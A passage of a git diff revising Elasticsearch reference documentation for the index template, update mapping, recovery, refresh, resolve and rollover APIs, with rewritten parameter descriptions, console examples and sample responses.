+85,49 @@ include::{docdir}/rest-api/common-parms.asciidoc[tag=master-timeout] [[put-index-template-api-request-body]] ==== {api-request-body-title} -`index_patterns`:: -(Required, array of strings) -Array of wildcard (`*`) expressions -used to match the names of data streams and indices during creation. -+ -include::{es-repo-dir}/indices/index-templates.asciidoc[tag=built-in-index-templates] +`composed_of`:: +(Optional, array of strings) +An ordered list of component template names. Component templates are merged in the order +specified, meaning that the last component template specified has the highest precedence. See +<> for an example. -[xpack]#`data_stream`#:: +// tag::index-template-api-body[] +`data_stream`:: (Optional, object) If this object is included, the template is used to create data streams and -their backing indices. Supports an empty object: `data_stream: { }` +their backing indices. Supports an empty object. + Data streams require a matching index template with a `data_stream` object. -See <>. +See <>. + .Properties of `data_stream` [%collapsible%open] ==== -[[data-stream-hidden]] `hidden`:: -(Optional, Boolean) -If `true`, the data stream is <>. Defaults to `false`. +(Optional, Boolean) If `true`, the data stream is <>. Defaults to +`false`. ==== +`index_patterns`:: +(Required, array of strings) +Array of wildcard (`*`) expressions +used to match the names of data streams and indices during creation. ++ +{es} includes several built-in index templates. To avoid naming collisions with +these templates, see <>. + +`_meta`:: +(Optional, object) +Optional user metadata about the index template. May have any contents. +This map is not automatically generated by {es}. + +`priority`:: +(Optional, integer) +Priority to determine index template precedence when a new data stream or index is created. The index template with +the highest priority is chosen. If no priority is specified the template is treated as though it is +of priority 0 (lowest priority). +This number is not automatically generated by {es}. + `template`:: (Optional, object) Template to be applied. It may optionally include an `aliases`, `mappings`, or @@ -126,35 +145,18 @@ include::{docdir}/rest-api/common-parms.asciidoc[tag=mappings] include::{docdir}/rest-api/common-parms.asciidoc[tag=settings] ==== -`composed_of`:: -(Optional, array of strings) -An ordered list of component template names. Component templates are merged in the order -specified, meaning that the last component template specified has the highest precedence. See -<> for an example. - -`priority`:: -(Optional, integer) -Priority to determine index template precedence when a new data stream or index is created. The index template with -the highest priority is chosen. If no priority is specified the template is treated as though it is -of priority 0 (lowest priority). -This number is not automatically generated by {es}. - `version`:: (Optional, integer) Version number used to manage index templates externally. This number is not automatically generated by {es}. - -`_meta`:: -(Optional, object) -Optional user metadata about the index template. May have any contents. -This map is not automatically generated by {es}. +// end::index-template-api-body[] [[put-index-template-api-example]] ==== {api-examples-title} ===== Index template with index aliases -You can include <> in an index template. +You can include <> in an index template. [source,console] -------------------------------------------------- @@ -260,7 +262,7 @@ To check the `version`, you can use the <>. +To use an index template for data streams, the template must include a +`data_stream` object. See <>. [source,console] -------------------------------------------------- diff --git a/docs/reference/indices/put-mapping.asciidoc b/docs/reference/indices/put-mapping.asciidoc index 91fd94af0187c..5883338fa61c8 100644 --- a/docs/reference/indices/put-mapping.asciidoc +++ b/docs/reference/indices/put-mapping.asciidoc @@ -1,11 +1,11 @@ [[indices-put-mapping]] -=== Put mapping API +=== Update mapping API ++++ -Put mapping +Update mapping ++++ -Adds new fields to an existing data stream or index. You can also use the -put mapping API to change the search settings of existing fields. +Adds new fields to an existing data stream or index. You can also use this +API to change the search settings of existing fields. For data streams, these changes are applied to all backing indices by default. @@ -27,14 +27,12 @@ PUT /my-index-000001/_mapping `PUT //_mapping` -`PUT /_mapping` - [[put-mapping-api-prereqs]] ==== {api-prereq-title} * If the {es} {security-features} are enabled, you must have the `manage` <> for the target data stream, index, -or index alias. +or alias. + deprecated:[7.9] If the request targets an index or index alias, you can also update its mapping with the `create`, `create_doc`, `index`, or `write` index @@ -45,13 +43,9 @@ privilege. ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. - +(Required, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. [[put-mapping-api-query-params]] ==== {api-query-parms-title} @@ -98,7 +92,7 @@ For existing fields, see <>. [[put-field-mapping-api-basic-ex]] ===== Example with single target -The put mapping API requires an existing data stream or index. The following +The update mapping API requires an existing data stream or index. The following <> API request creates the `publications` index with no mapping. @@ -107,7 +101,7 @@ index with no mapping. PUT /publications ---- -The following put mapping API request adds `title`, a new <> field, +The following update mapping API request adds `title`, a new <> field, to the `publications` index. [source,console] @@ -124,7 +118,7 @@ PUT /publications/_mapping [[put-mapping-api-multi-ex]] ===== Multiple targets -The PUT mapping API can be applied to multiple data streams or indices with a single request. +The update mapping API can be applied to multiple data streams or indices with a single request. For example, you can update mappings for the `my-index-000001` and `my-index-000002` indices at the same time: [source,console] @@ -152,7 +146,7 @@ PUT /my-index-000001,my-index-000002/_mapping [[add-new-field-to-object]] ===== Add new properties to an existing object field -You can use the put mapping API to add new properties to an existing +You can use the update mapping API to add new properties to an existing <> field. To see how this works, try the following example. Use the <> API to create an index with the @@ -176,7 +170,7 @@ PUT /my-index-000001 } ---- -Use the put mapping API to add a new inner `last` text field to the `name` +Use the update mapping API to add a new inner `last` text field to the `name` field. [source,console] @@ -201,7 +195,7 @@ PUT /my-index-000001/_mapping ===== Add multi-fields to an existing field <> let you index the same field in different ways. -You can use the put mapping API to update the `fields` mapping parameter and +You can use the update mapping API to update the `fields` mapping parameter and enable multi-fields for an existing field. To see how this works, try the following example. @@ -226,7 +220,7 @@ PUT /my-index-000001 While text fields work well for full-text search, <> fields are not analyzed and may work better for sorting or aggregations. -Use the put mapping API to enable a multi-field for the `city` field. This +Use the update mapping API to enable a multi-field for the `city` field. This request adds the `city.raw` keyword multi-field, which can be used for sorting. [source,console] @@ -252,8 +246,8 @@ PUT /my-index-000001/_mapping ===== Change supported mapping parameters for an existing field The documentation for each <> indicates -whether you can update it for an existing field using the put mapping API. For -example, you can use the put mapping API to update the +whether you can update it for an existing field using the update mapping API. For +example, you can use the update mapping API to update the <> parameter. To see how this works, try the following example. @@ -277,7 +271,7 @@ PUT /my-index-000001 } ---- -Use the put mapping API to change the `ignore_above` parameter value to `100`. +Use the update mapping API to change the `ignore_above` parameter value to `100`. [source,console] ---- @@ -394,7 +388,7 @@ POST /_reindex // tag::rename-field[] Renaming a field would invalidate data already indexed under the old field name. -Instead, add an <> field to create an alternate field name. +Instead, add an <> field to create an alternate field name. // end::rename-field[] For example, @@ -416,7 +410,7 @@ PUT /my-index-000001 } ---- -Use the put mapping API to add the `user_id` field alias +Use the update mapping API to add the `user_id` field alias for the existing `user_identifier` field. [source,console] diff --git a/docs/reference/indices/recovery.asciidoc b/docs/reference/indices/recovery.asciidoc index 7c3d000f935ef..270d77c5b3133 100644 --- a/docs/reference/indices/recovery.asciidoc +++ b/docs/reference/indices/recovery.asciidoc @@ -28,7 +28,7 @@ GET /my-index-000001/_recovery * If the {es} {security-features} are enabled, you must have the `monitor` or `manage` <> for the target data stream, -index, or index alias. +index, or alias. [[index-recovery-api-desc]] ==== {api-description-title} @@ -42,7 +42,13 @@ of syncing a replica shard from a primary shard. Upon completion, the replica shard is available for search. -include::{es-repo-dir}/glossary.asciidoc[tag=recovery-triggers] +Recovery automatically occurs during the following processes: + +* Node startup or failure. This type of recovery is called a local store + recovery. +* <>. +* Relocation of a shard to a different node in the same cluster. +* <>. // end::shard-recovery-desc[] @@ -50,13 +56,9 @@ include::{es-repo-dir}/glossary.asciidoc[tag=recovery-triggers] ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. - +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. [[index-recovery-api-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/indices/refresh.asciidoc b/docs/reference/indices/refresh.asciidoc index da10d4d6ce36a..1d6a56ce2a406 100644 --- a/docs/reference/indices/refresh.asciidoc +++ b/docs/reference/indices/refresh.asciidoc @@ -30,7 +30,7 @@ POST /my-index-000001/_refresh * If the {es} {security-features} are enabled, you must have the `maintenance` or `manage` <> for the target data -stream, index, or index alias. +stream, index, or alias. [[refresh-api-desc]] ==== {api-description-title} @@ -72,12 +72,11 @@ before running the search. [[refresh-api-path-params]] ==== {api-path-parms-title} -include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index] -+ -To refresh all indices in the cluster, -omit this parameter -or use a value of `_all` or `*`. - +``:: +(Optional, string) +Comma-separated list of data streams, indices, and aliases used to limit +the request. Supports wildcards (`*`). To target all data streams and indices, +omit this parameter or use `*` or `_all`. [[refresh-api-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/indices/resolve.asciidoc b/docs/reference/indices/resolve.asciidoc index c3f19644a5b01..2a64bf9f36a81 100644 --- a/docs/reference/indices/resolve.asciidoc +++ b/docs/reference/indices/resolve.asciidoc @@ -4,9 +4,8 @@ Resolve index ++++ -Resolves the specified name(s) and/or index patterns for indices, index -aliases, and data streams. Multiple patterns and remote clusters are -supported. +Resolves the specified name(s) and/or index patterns for indices, aliases, and +data streams. Multiple patterns and remote clusters are supported. //// [source,console] @@ -50,6 +49,7 @@ DELETE /_index_template/foo_data_stream ---- GET /_resolve/index/my-index-* ---- +// TEST[skip:unable to ignore deprecation warning] [[resolve-index-api-request]] ==== {api-request-title} @@ -70,7 +70,7 @@ for the target data stream, index, or index alias. + -- (Required, string) Comma-separated name(s) or index pattern(s) of the -indices, index aliases, and data streams to resolve. Resources on +indices, aliases, and data streams to resolve. Resources on <> can be specified using the `:` syntax. -- diff --git a/docs/reference/indices/rollover-index.asciidoc b/docs/reference/indices/rollover-index.asciidoc index 0489d034912fe..13c108bcc54b0 100644 --- a/docs/reference/indices/rollover-index.asciidoc +++ b/docs/reference/indices/rollover-index.asciidoc @@ -1,39 +1,25 @@ [[indices-rollover-index]] -=== Rollover index API +=== Rollover API ++++ -Rollover index +Rollover ++++ -Creates a new index for a rollover target when the target's existing index meets -a condition you provide. A rollover target can be either an -<> or a -<>. When targeting an alias, the alias -is updated to point to the new index. When targeting a data stream, the new -index becomes the data stream's write index and its generation is incremented. +Creates a new index for a <> or <>. [source,console] ---- -POST /alias1/_rollover/my-index-000002 -{ - "conditions": { - "max_age": "7d", - "max_docs": 1000, - "max_size": "5gb", - "max_primary_shard_size": "2gb" - } -} +POST my-data-stream/_rollover ---- -// TEST[s/^/PUT my_old_index_name\nPUT my_old_index_name\/_alias\/alias1\n/] - +// TEST[setup:my_data_stream] +// TEST[teardown:data_stream_cleanup] [[rollover-index-api-request]] ==== {api-request-title} +`POST //_rollover/` `POST //_rollover/` -`POST //_rollover/` - [[rollover-index-api-prereqs]] ==== {api-prereq-title} @@ -43,530 +29,390 @@ POST /alias1/_rollover/my-index-000002 [[rollover-index-api-desc]] ==== {api-description-title} -The rollover index API rolls a rollover target to a new index when the existing -index meets a condition you provide. You can use this API to retire an index -that becomes too large or too old. +TIP: We recommend using {ilm-init}'s <> action to +automate rollovers. See <>. + +The rollover API creates a new index for a data stream or index alias. +The API's behavior depends on the rollover target. -NOTE: To roll over an index, a condition must be met *when you call the API*. -{es} does not monitor the index after you receive an API response. To -automatically roll over indices when a condition is met, you can use {es}'s -<>. +**Roll over a data stream** -The rollover index API accepts a rollover target name -and a list of `conditions`. +If you roll over a data stream, the API creates a new write index for the +stream. The stream's previous write index becomes a regular backing index. A +rollover also increments the data stream's generation. See +<>. -If the specified rollover target is an alias pointing to a single index, -the rollover request: +**Roll over an index alias with a write index** -. Creates a new index -. Adds the alias to the new index -. Removes the alias from the original index +[TIP] +==== +include::{es-repo-dir}/data-streams/set-up-a-data-stream.asciidoc[tag=time-series-alias-tip] +See <>. +==== -If the specified rollover target is an alias pointing to multiple indices, -one of these indices must have `is_write_index` set to `true`. -In this case, the rollover request: +If an index alias points to multiple indices, one of the indices must be a +<>. The rollover API creates a new write index +for the alias with `is_write_index` set to `true`. The API also sets +`is_write_index` to `false` for the previous write index. -. Creates a new index -. Sets `is_write_index` to `true` for the new index -. Sets `is_write_index` to `false` for the original index +**Roll over an index alias with one index** -If the specified rollover target is a data stream, the rollover request: +If you roll over an index alias that points to only one index, the API creates a +new index for the alias and removes the original index from the alias. -. Creates a new index -. Adds the new index as a backing index and the write index on the data stream -. Increments the `generation` attribute of the data stream +[[increment-index-names-for-alias]] +===== Increment index names for an alias +When you roll over an index alias, you can specify a name for the new index. If +you don't specify a name and the current index ends with `-` and a number, such +as `my-index-000001` or `my-index-3`, the new index name increments that number. +For example, if you roll over an alias with a current index of +`my-index-000001`, the rollover creates a new index named `my-index-000002`. +This number is always 6 characters and zero-padded, regardless of the previous +index's name. + +[[_using_date_math_with_the_rollover_api]] +.Use date math with index alias rollovers +**** +If you use an index alias for time series data, you can use +<> in the index name to track the rollover +date. For example, you can create an alias that points to an index named +``. If you create the index on May 6, 2099, the index's +name is `my-index-2099.05.06-000001`. If you roll over the alias on May 7, 2099, +the new index's name is `my-index-2099.05.07-000002`. For an example, see +<>. +**** [[rollover-wait-active-shards]] ===== Wait for active shards -Because the rollover operation creates a new index to rollover to, the -<> setting on -index creation applies to the rollover action. - +A rollover creates a new index and is subject to the +<> setting. [[rollover-index-api-path-params]] ==== {api-path-parms-title} ``:: -(Required*, string) -Name of the existing index alias or data stream on which to -perform the rollover. - +(Required, string) +Name of the data stream or index alias to roll over. ``:: +(Optional, string) +Name of the index to create. Supports <>. Data +streams do not support this parameter. ++ +If the name of the alias's current write index does not end with `-` and a +number, such as `my-index-000001` or `my-index-3`, this parameter is required. + --- -(Optional*, string) -Name of the target index to create and assign the index alias. - include::{es-repo-dir}/indices/create-index.asciidoc[tag=index-name-reqs] -*This parameter is not permitted if `rollover-target` is a data stream. In -that case, the new index name will be in the form `-000001` -where the zero-padded number of length 6 is the generation of the data stream. - -If `rollover-target` is an alias that is assigned to an index name that ends -with `-` and a number such as `logs-000001`. In this case, the name of the new -index follows the same pattern and increments the number. For example, -`logs-000001` increments to `logs-000002`. This number is zero-padded with a -length of 6, regardless of the prior index name. - -If the existing index for the alias does not match this pattern, this parameter -is required. --- - - [[rollover-index-api-query-params]] ==== {api-query-parms-title} `dry_run`:: (Optional, Boolean) -If `true`, -the request checks whether the index matches provided conditions -but does not perform a rollover. -Defaults to `false`. +If `true`, checks whether the current index matches one or more specified +`conditions` but does not perform a rollover. Defaults to `false`. include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms] - +[role="child_attributes"] [[rollover-index-api-request-body]] ==== {api-request-body-title} include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=aliases] ++ +Data streams do not support this parameter. +[[rollover-conditions]] `conditions`:: -+ --- (Optional, object) -If supplied, the set of conditions the rollover target's existing index must -meet to roll over. If omitted, the rollover will be performed unconditionally. +Conditions for the rollover. If specified, {es} only performs the rollover if +the current index meets one or more of these conditions. If this parameter is +not specified, {es} performs the rollover unconditionally. ++ +IMPORTANT: To trigger a rollover, the current index must meet these conditions +at the time of the request. {es} does not monitor the index after the API +response. To automate rollover, use {ilm-init}'s <> +instead. ++ +.Properties of `conditions` +[%collapsible%open] +==== +include::{es-repo-dir}/ilm/actions/ilm-rollover.asciidoc[tag=rollover-conditions] +==== -Parameters include: +include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=mappings] ++ +Data streams do not support this parameter. -`max_age`:: -(Optional, <>) -Maximum age of the index. +include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=settings] ++ +Data streams do not support this parameter. -`max_docs`:: -(Optional, integer) -Maximum number of documents in the index. -Documents added since the last refresh are not included in the document count. -The document count does *not* include documents in replica shards. +[role="child_attributes"] +[[rollover-index-api-response-body]] +==== {api-request-body-title} -`max_size`:: -(Optional, <>) -Maximum index size. -This is the total size of all primary shards in the index. -Replicas are not counted toward the maximum index size. +`acknowledged`:: +(Boolean) +If `true`, the request received a response from the master node within the +`timeout` period. -TIP: To see the current index size, use the <> API. -The `pri.store.size` value shows the combined size of all primary shards. +`shards_acknowledged`:: +(Boolean) +If `true`, the request received a response from +<> within the `master_timeout` +period. -`max_primary_shard_size`:: -(Optional, <>) -Maximum primary shard size. -This is the maximum size of the primary shards in the index. As with `max_size`, -replicas are ignored. +`old_index`:: +(string) +Previous index for the data stream or index alias. For data streams and index +aliases with a write index, this is the previous write index. -TIP: To see the current shard size, use the <> API. -The `store` value shows the size each shard, and `prirep` indicates whether a -shard is a primary (`p`) or a replica (`r`). --- +`new_index`:: +(string) +Index created by the rollover. For data streams and index aliases with a write +index, this is the current write index. -include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=mappings] +`rolled_over`:: +(Boolean) +If `true`, the data stream or index alias rolled over. -include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=settings] +`dry_run`:: +(Boolean) +If `true`, {es} did not perform the rollover. +`condition`:: +(object) +Result of each condition specified in the request's `conditions`. If no +conditions were specified, this is an empty object. ++ +.Properties of `condition` +[%collapsible%open] +==== +``:: +(Boolean) The key is each condition. The value is its result. If `true`, the +index met the condition at rollover. +==== [[rollover-index-api-example]] ==== {api-examples-title} -[[rollover-index-basic-ex]] -===== Basic example - -[source,console] --------------------------------------------------- -PUT /logs-000001 <1> -{ - "aliases": { - "logs_write": {} - } -} - -# Add > 1000 documents to logs-000001 - -POST /logs_write/_rollover <2> -{ - "conditions": { - "max_age": "7d", - "max_docs": 1000, - "max_size": "5gb", - "max_primary_shard_size": "2gb" - } -} --------------------------------------------------- -// TEST[setup:my_index_huge] -// TEST[s/# Add > 1000 documents to logs-000001/POST _reindex?refresh\n{"source":{"index":"my-index-000001"},"dest":{"index":"logs-000001"}}/] -<1> Creates an index called `logs-0000001` with the alias `logs_write`. -<2> If the index pointed to by `logs_write` was created 7 or more days ago, or - contains 1,000 or more documents, or has an index size at least around 5GB, then the `logs-000002` index is created - and the `logs_write` alias is updated to point to `logs-000002`. - -The API returns the following response: +[[roll-over-data-stream]] +===== Roll over a data stream -[source,console-result] --------------------------------------------------- -{ - "acknowledged": true, - "shards_acknowledged": true, - "old_index": "logs-000001", - "new_index": "logs-000002", - "rolled_over": true, <1> - "dry_run": false, <2> - "conditions": { <3> - "[max_age: 7d]": false, - "[max_docs: 1000]": true, - "[max_size: 5gb]": false, - "[max_primary_shard_size: 2gb]": false - } -} --------------------------------------------------- +The following request rolls over a data stream unconditionally. -<1> Whether the index was rolled over. -<2> Whether the rollover was dry run. -<3> The result of each condition. +[source,console] +---- +POST my-data-stream/_rollover +---- +// TEST[setup:my_data_stream] +:target: data stream +:index: write index -[[rollover-data-stream-ex]] -===== Roll over a data stream +// tag::rollover-conditions-ex[] +The following request only rolls over the {target} if the current {index} +meets one or more of the following conditions: -[source,console] ------------------------------------ -PUT _index_template/template -{ - "index_patterns": ["my-data-stream*"], - "data_stream": { } -} ------------------------------------ +* The index was created 7 or more days ago. +* The index contains 1,000 or more documents. +* The index's largest primary shard is 50GB or larger. +// end::rollover-conditions-ex[] [source,console] --------------------------------------------------- -PUT /_data_stream/my-data-stream <1> - -# Add > 1000 documents to my-data-stream - -POST /my-data-stream/_rollover <2> +---- +POST my-data-stream/_rollover { - "conditions" : { + "conditions": { "max_age": "7d", "max_docs": 1000, - "max_size": "5gb", - "max_primary_shard_size": "2gb" + "max_primary_shard_size": "50gb" } } --------------------------------------------------- +---- // TEST[continued] // TEST[setup:my_index_huge] -// TEST[s/# Add > 1000 documents to my-data-stream/POST _reindex?refresh\n{ "source": { "index": "my-index-000001" }, "dest": { "index": "my-data-stream", "op_type": "create" } }/] -<1> Creates a data stream called `my-data-stream` with one initial backing index -named `my-data-stream-000001`. -<2> This request creates a new backing index, `my-data-stream-000002`, and adds -it as the write index for `my-data-stream` if the current -write index meets at least one of the following conditions: -+ --- -* The index was created 7 or more days ago. -* The index has an index size of 5GB or greater. -* The index contains 1,000 or more documents. --- +// TEST[s/^/POST _reindex?refresh\n{ "source": { "index": "my-index-000001" }, "dest": { "index": "my-data-stream", "op_type": "create" } }\n/] -The API returns the following response: +The API returns: [source,console-result] --------------------------------------------------- +---- { "acknowledged": true, "shards_acknowledged": true, - "old_index": ".ds-my-data-stream-2099.03.07-000001", <1> - "new_index": ".ds-my-data-stream-2099.03.08-000002", <2> - "rolled_over": true, <3> - "dry_run": false, <4> - "conditions": { <5> + "old_index": ".ds-my-data-stream-2099.05.06-000001", + "new_index": ".ds-my-data-stream-2099.05.07-000002", + "rolled_over": true, + "dry_run": false, + "conditions": { "[max_age: 7d]": false, "[max_docs: 1000]": true, - "[max_size: 5gb]": false, - "[max_primary_shard_size: 2gb]": false + "[max_primary_shard_size: 50gb]": false } } --------------------------------------------------- -// TESTRESPONSE[s/.ds-my-data-stream-2099.03.07-000001/$body.old_index/] -// TESTRESPONSE[s/.ds-my-data-stream-2099.03.08-000002/$body.new_index/] - -<1> The previous write index for the data stream. -<2> The new write index for the data stream. -<3> Whether the index was rolled over. -<4> Whether the rollover was dry run. -<5> The result of each condition. +---- +// TESTRESPONSE[s/.ds-my-data-stream-2099.05.06-000001/$body.old_index/] +// TESTRESPONSE[s/.ds-my-data-stream-2099.05.07-000002/$body.new_index/] //// [source,console] ------------------------------------ -DELETE /_data_stream/my-data-stream -DELETE /_index_template/template ------------------------------------ +---- +DELETE _data_stream/* +DELETE _index_template/* +---- // TEST[continued] //// -[[rollover-index-settings-ex]] -===== Specify settings for the target index +[[roll-over-index-alias-with-write-index]] +===== Roll over an index alias with a write index -The settings, mappings, and aliases for the new index are taken from any -matching <>. If the rollover target is an index -alias, you can specify `settings`, `mappings`, and `aliases` in the body of the request -just like the <> API. Values specified in the request -override any values set in matching index templates. For example, the following -`rollover` request overrides the `index.number_of_shards` setting: +The following request creates `` and sets it as the +write index for `my-alias`. [source,console] --------------------------------------------------- -PUT /logs-000001 +---- +# PUT +PUT %3Cmy-index-%7Bnow%2Fd%7D-000001%3E { "aliases": { - "logs_write": {} - } -} - -POST /logs_write/_rollover -{ - "conditions" : { - "max_age": "7d", - "max_docs": 1000, - "max_size": "5gb", - "max_primary_shard_size": "2gb" - }, - "settings": { - "index.number_of_shards": 2 - } -} --------------------------------------------------- - - -[[rollover-index-specify-index-ex]] -===== Specify a target index name -If the rollover target is a data stream, you cannot specify a target index -name. The new index name will always be in the form `-000001` -where the zero-padded number of length 6 is the generation of the data stream. - -If the rollover target is an index alias and the name of the existing index ends -with `-` and a number -- e.g. `logs-000001` -- then the name of the new index will -follow the same pattern, incrementing the number (`logs-000002`). The number is -zero-padded with a length of 6, regardless of the old index name. - -If the old name doesn't match this pattern then you must specify the name for -the new index as follows: - -[source,console] --------------------------------------------------- -POST /my_alias/_rollover/my_new_index_name -{ - "conditions": { - "max_age": "7d", - "max_docs": 1000, - "max_size": "5gb", - "max_primary_shard_size": "2gb" + "my-alias": { + "is_write_index": true + } } } --------------------------------------------------- -// TEST[s/^/PUT my_old_index_name\nPUT my_old_index_name\/_alias\/my_alias\n/] - +---- +// TEST[s/%3Cmy-index-%7Bnow%2Fd%7D-000001%3E/my-index-2099.05.06-000001/] -[[_using_date_math_with_the_rollover_api]] -===== Use date math with a rollover +:target: alias -If the rollover target is an index alias, it can be useful to use <> -to name the rollover index according to the date that the index rolled over, e.g. -`logstash-2016.02.03`. The rollover API supports date math, but requires the -index name to end with a dash followed by a number, e.g. `logstash-2016.02.03-1` -which is incremented every time the index is rolled over. For instance: +include::rollover-index.asciidoc[tag=rollover-conditions-ex] [source,console] --------------------------------------------------- -# PUT / with URI encoding: -PUT /%3Clogs_%7Bnow%2Fd%7D-1%3E <1> -{ - "aliases": { - "logs_write": {} - } -} - -PUT logs_write/_doc/1 -{ - "message": "a dummy log" -} - -POST logs_write/_refresh - -# Wait for a day to pass - -POST /logs_write/_rollover <2> +---- +POST my-alias/_rollover { "conditions": { - "max_docs": "1" + "max_age": "7d", + "max_docs": 1000, + "max_primary_shard_size": "50gb" } } --------------------------------------------------- -// TEST[s/now/2016.10.31%7C%7C/] - -<1> Creates an index named with today's date (e.g.) `logs_2016.10.31-1` -<2> Rolls over to a new index with today's date, e.g. `logs_2016.10.31-000002` if run immediately, or `logs-2016.11.01-000002` if run after 24 hours - -////////////////////////// - -[source,console] --------------------------------------------------- -GET _alias --------------------------------------------------- +---- // TEST[continued] +// TEST[setup:my_index_huge] +// TEST[s/^/POST _reindex?refresh\n{ "source": { "index": "my-index-000001" }, "dest": { "index": "my-alias" } }\n/] + +The API returns: [source,console-result] --------------------------------------------------- +---- { - "logs_2016.10.31-000002": { - "aliases": { - "logs_write": {} - } - }, - "logs_2016.10.31-1": { - "aliases": {} + "acknowledged": true, + "shards_acknowledged": true, + "old_index": "my-index-2099.05.06-000001", + "new_index": "my-index-2099.05.07-000002", + "rolled_over": true, + "dry_run": false, + "conditions": { + "[max_age: 7d]": false, + "[max_docs: 1000]": true, + "[max_primary_shard_size: 50gb]": false } } --------------------------------------------------- - -////////////////////////// +---- +// TESTRESPONSE[s/my-index-2099.05.07-000002/my-index-2099.05.06-000002/] -These indices can then be referenced as described in the -<>. For example, to search -over indices created in the last three days, you could do the following: +If the alias's index names use date math and you roll over indices at a regular +interval, you can use date math to narrow your searches. For example, the +following search targets indices created in the last three days. [source,console] --------------------------------------------------- -# GET /,,/_search -GET /%3Clogs-%7Bnow%2Fd%7D-*%3E%2C%3Clogs-%7Bnow%2Fd-1d%7D-*%3E%2C%3Clogs-%7Bnow%2Fd-2d%7D-*%3E/_search --------------------------------------------------- -// TEST[continued] -// TEST[s/now/2016.10.31%7C%7C/] - +---- +# GET /,,/_search +GET /%3Cmy-index-%7Bnow%2Fd%7D-*%3E%2C%3Cmy-index-%7Bnow%2Fd-1d%7D-*%3E%2C%3Cmy-index-%7Bnow%2Fd-2d%7D-*%3E/_search +---- -[[rollover-index-api-dry-run-ex]] -===== Dry run +[[roll-over-index-alias-with-one-index]] +===== Roll over an index alias with one index -The rollover API supports `dry_run` mode, where request conditions can be -checked without performing the actual rollover. +The following request creates `` and its alias, `my-write-alias`. [source,console] --------------------------------------------------- -POST /logs_write/_rollover?dry_run +---- +# PUT +PUT %3Cmy-index-%7Bnow%2Fd%7D-000001%3E { - "conditions" : { - "max_age": "7d", - "max_docs": 1000, - "max_size": "5gb", - "max_primary_shard_size": "2gb" + "aliases": { + "my-write-alias": { } } } --------------------------------------------------- -// TEST[s/^/PUT logs-000001\nPUT logs-000001\/_alias\/logs_write\n/] - +---- +// TEST[s/%3Cmy-index-%7Bnow%2Fd%7D-000001%3E/my-index-2099.05.06-000001/] -[[indices-rollover-is-write-index]] -===== Roll over a write index +:index: index -If the rollover target is an index alias for a write index that has `is_write_index` explicitly set to `true`, it is not -swapped during rollover actions. Since having an alias point to multiple indices is ambiguous in distinguishing -which is the correct write index to roll over, it is not valid to rollover an alias that points to multiple indices. -For this reason, the default behavior is to swap which index is being pointed to by the write-oriented alias. This -was `logs_write` in some of the above examples. Since setting `is_write_index` enables an alias to point to multiple indices -while also being explicit as to which is the write index that rollover should target, removing the alias from the rolled over -index is not necessary. This simplifies things by allowing for one alias to behave both as the write and read aliases for -indices that are being managed with Rollover. +include::rollover-index.asciidoc[tag=rollover-conditions-ex] -Look at the behavior of the aliases in the following example where `is_write_index` is set on the rolled over index. +:target!: +:index!: [source,console] --------------------------------------------------- -PUT my_logs_index-000001 +---- +POST my-write-alias/_rollover { - "aliases": { - "logs": { "is_write_index": true } <1> + "conditions": { + "max_age": "7d", + "max_docs": 1000, + "max_primary_shard_size": "50gb" } } +---- +// TEST[continued] +// TEST[setup:my_index_huge] +// TEST[s/^/POST _reindex?refresh\n{ "source": { "index": "my-index-000001" }, "dest": { "index": "my-write-alias" } }\n/] -PUT logs/_doc/1 -{ - "message": "a dummy log" -} - -POST logs/_refresh +The API returns: -POST /logs/_rollover +[source,console-result] +---- { + "acknowledged": true, + "shards_acknowledged": true, + "old_index": "my-index-2099.05.06-000001", + "new_index": "my-index-2099.05.07-000002", + "rolled_over": true, + "dry_run": false, "conditions": { - "max_docs": "1" + "[max_age: 7d]": false, + "[max_docs: 1000]": true, + "[max_primary_shard_size: 50gb]": false } } +---- +// TESTRESPONSE[s/my-index-2099.05.07-000002/my-index-2099.05.06-000002/] -PUT logs/_doc/2 <2> -{ - "message": "a newer log" -} --------------------------------------------------- - -<1> configures `my_logs_index` as the write index for the `logs` alias -<2> newly indexed documents against the `logs` alias will write to the new index +[[specify-settings-during-rollover]] +===== Specify settings during a rollover -[source,console-result] --------------------------------------------------- -{ - "_index" : "my_logs_index-000002", - "_id" : "2", - "_version" : 1, - "result" : "created", - "_shards" : { - "total" : 2, - "successful" : 1, - "failed" : 0 - }, - "_seq_no" : 0, - "_primary_term" : 1 -} --------------------------------------------------- +Typically, you use an <> to automatically +configure indices created during a rollover. If you roll over an index alias, +you use the rollover API to add additional index settings or overwrite settings +in the template. Data streams do not support the `settings` parameter. -////////////////////////// [source,console] --------------------------------------------------- -GET my_logs_index-000001,my_logs_index-000002/_alias --------------------------------------------------- -// TEST[continued] -////////////////////////// - -After the rollover, the alias metadata for the two indices will have the `is_write_index` setting -reflect each index's role, with the newly created index as the write index. - -[source,console-result] --------------------------------------------------- +---- +POST my-alias/_rollover { - "my_logs_index-000002": { - "aliases": { - "logs": { "is_write_index": true } - } - }, - "my_logs_index-000001": { - "aliases": { - "logs": { "is_write_index" : false } - } + "settings": { + "index.number_of_shards": 2 } } --------------------------------------------------- +---- +// TEST[continued] +// TEST[s/my-alias/my-write-alias/] diff --git a/docs/reference/indices/segments.asciidoc b/docs/reference/indices/segments.asciidoc index 544dbd6a40431..29c40e444354a 100644 --- a/docs/reference/indices/segments.asciidoc +++ b/docs/reference/indices/segments.asciidoc @@ -27,19 +27,15 